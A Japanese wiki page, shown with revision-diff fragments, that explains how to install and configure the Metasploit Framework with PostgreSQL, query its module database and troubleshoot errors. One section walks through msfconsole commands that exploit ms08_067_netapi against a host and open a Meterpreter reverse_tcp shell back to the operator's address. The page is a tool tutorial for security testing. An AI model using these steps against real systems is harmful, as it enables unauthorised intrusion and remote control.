「Metasploit Framework」の版間の差分
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上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。 |
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=== データベースから検索 === |
=== データベースから検索 === |
2017年10月12日 (木) 23:15時点における版
公式サイト より:
- 今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。
現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。
インストール
metasploit パッケージをインストールしてください。任意で以下の RVM の設定手順に従ってください。ruby は依存パッケージとしてインストールされます。
最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。
Armitage
Armitage は Java で書かれた metasploit の GUI フロントエンドです。armitageAUR パッケージでインストールできます。
Armitage を実行する場合、#データベースの設定が必須になります。また、必ず ~/.msf4/database.yml
ファイルを使う必要があります。
database.yml
のファイルのサンプルは Armitage のパッケージに /usr/share/metasploit/database.yml.sample
として含まれています。
RVM
Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。
RVM#RVM のインストール と RVM#RVM を使う の記事に従って Ruby バージョン 2.3.1 をインストールしてデフォルトで使用するように設定してください。
設定が完了したら、新しく作成した RVM 環境を読み込みます:
$ source ~/.rvm/scripts/rvm
そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:
$ gem install bundler $ bundle install
データベースの設定
Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。
PostgreSQL の記事に従って msf
という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf
ということにします。
msfconsole
を起動して以下を入力:
msf > db_connect user@msf
user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。
データベースキャッシュを再生成:
msf > db_rebuild_cache
Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。
現在 Metasploit では msfconsole
を起動するたびに db_connect
コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc
) に以下のエイリアスを追加してください:
alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""
quiet
オプションは起動時の ASCII バナーを無効化して、-x
コマンドは起動後すぐに指定されたコマンドを実行します。
.msf4
ディレクトリに database.yml
ファイルを作成する方法もあります。例:
~/.msf4/database.yml
production: adapter: postgresql database: msf username: ${USER} password: ${PASS} host: localhost port: 5432 pool: 5 timeout: 5
db_status
を実行してデータベースの接続が正しく確立していることを確認してください:
msf > db_status
[*] postgresql connected to msf
使用方法
Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole
を利用する方法を説明します。
起動するには、msfconsole
と入力してください。プロンプトが msf >
に代わり、コマンドの入力を待機していることがわかります。
モジュールのタイプ
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
auxiliary
- ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。exploit
- 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。payload
- リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。post
- exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。encoder
- 暗号化を実行するためのプログラム。nop
- NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。
exploit の検索
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search
コマンドで利用可能な exploit を検索することができます。
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
msf > search platform:linux type:exploit name:Novell
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
検索フィールド | 説明 | 入力可能な値 | DB テーブル & カラム |
---|---|---|---|
app
|
Passive (client) あるいは Active (server) な exploit | client , server
|
module_details.stance
|
author
|
モジュールの作者の名前とメールアドレス | 何でも入力可能 | module_authors.name
|
type
|
モジュールのタイプ | auxiliary , exploit , payload , post , encoder , nop
|
module_details.mtype
|
name
|
パス (Name) と短い説明 | 何でも入力可能 | module_details.fullname , module_details.name
|
platform
|
対象ハードウェアあるいはソフトウェアプラットフォーム | bsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solaris
|
module_platforms.name
|
bid , cve , edb , osvdb , ref
|
Bugtraq, CVE, Exploit-DB, OSBDB ID など | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 | module_refs.name
|
(No field) | 上記の app と type を除く全て
|
何でも入力可能 | 上記の全て |
高度な検索方法は #データベースから検索 や #データベース検索のサンプル を見て下さい。
exploit を使う
適当な exploit を選択したら、ハッキングの時間です。
まず use
コマンドを使って exploit を選択:
msf > use exploit/windows/smb/ms08_067_netapi
モジュールの情報を表示するには、info
コマンドを使用:
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
何も引数を付けないで info
を実行すると、現在選択されているモジュールの情報が表示されます。
選択した exploit のオプションを確認するには、次を実行:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST
変数を指定する必要があります。変数に値を指定するには set
コマンドを使います:
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
そしてペイロードを選択:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show options
を実行してください:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
LHOST
変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
では攻撃を開始してください:
msf exploit(ms08_067_netapi) > exploit
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。
ヒントとテクニック
データベースから検索
Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの search
を使わなくても強力な検索を使うことが簡単にできます。
データベースインターフェイスを起動するには、次を実行:
$ psql msf
モジュールに関する情報は8つのテーブルに保存されています:
テーブル名 | 中身 |
---|---|
module_details
|
"メイン"のテーブルで、各モジュールの詳細情報が入っています。 |
module_actions
|
auxiliary モジュールのアクション名。 |
module_archs
|
対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム |
module_authors
|
モジュールの作者の名前とメールアドレス。 |
module_mixins
|
空 (???) |
module_platforms
|
対象オペレーティングシステム。#exploit の数によるプラットフォームの人気度 も参照。 |
module_refs
|
様々なオンラインの exploit データベースとレポートのリファレンス。 |
module_targets
|
exploit 対象のプログラムの名前とバージョン。 |
ほとんどのテーブルには3つカラムがあります: id
, detail_id
, name
。例外的に module_details
テーブルは16のカラムがあります。
detail_id
の値は module_details
テーブルの行数のポインタです。
テーブルの中身を全て表示するには、次を実行:
SELECT * FROM table_name;
マルチ:
- Architecture
- Platform
- Target
モジュールのオプション:
- module type
- stance
- privileged
- path
- name
- refname
- rank
- privileged
- disclosure date
データベース検索のサンプル
module_details
テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
module_platforms
のプラットフォーム情報を含む、利用可能なモジュールの情報を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Windows プラットフォームの全てのクライアント (aggressive) exploit を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
exploit の数によるプラットフォームの人気度
利用可能な platform
の値と、利用可能な exploit の数を調べるには、psql
から以下を実行:
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
起動時の ASCII バナーを無効化
バナーを無効化するには、-q
/--quiet
引数を付けて msfconsole
を実行してください:
$ msfconsole --quiet
セッションが変わっても変数の値を維持する
他のモジュールを選択したときや msfconsole
を再起動したときに変数がリセットされるのが気に食わない場合、setg
で変数をグローバルに設定してください。例:
msf > setg RHOST 192.168.56.102
トラブルシューティング
VNC ビューアでクリックできない
ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、ViewOnly
変数を false
に設定するのを忘れています。この問題を修正するには、変数を false
に設定してから exploit を再度実行してください:
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
以下のようなエラーが表示される場合:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
このエラーは robots.rb
ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です (バグレポート を参照):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect が何もエラーを表示しないで失敗する
db_connect
の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合:
[!] Database not connected or cache not built, using slow search
おそらく postgresql
サービスが動いていません。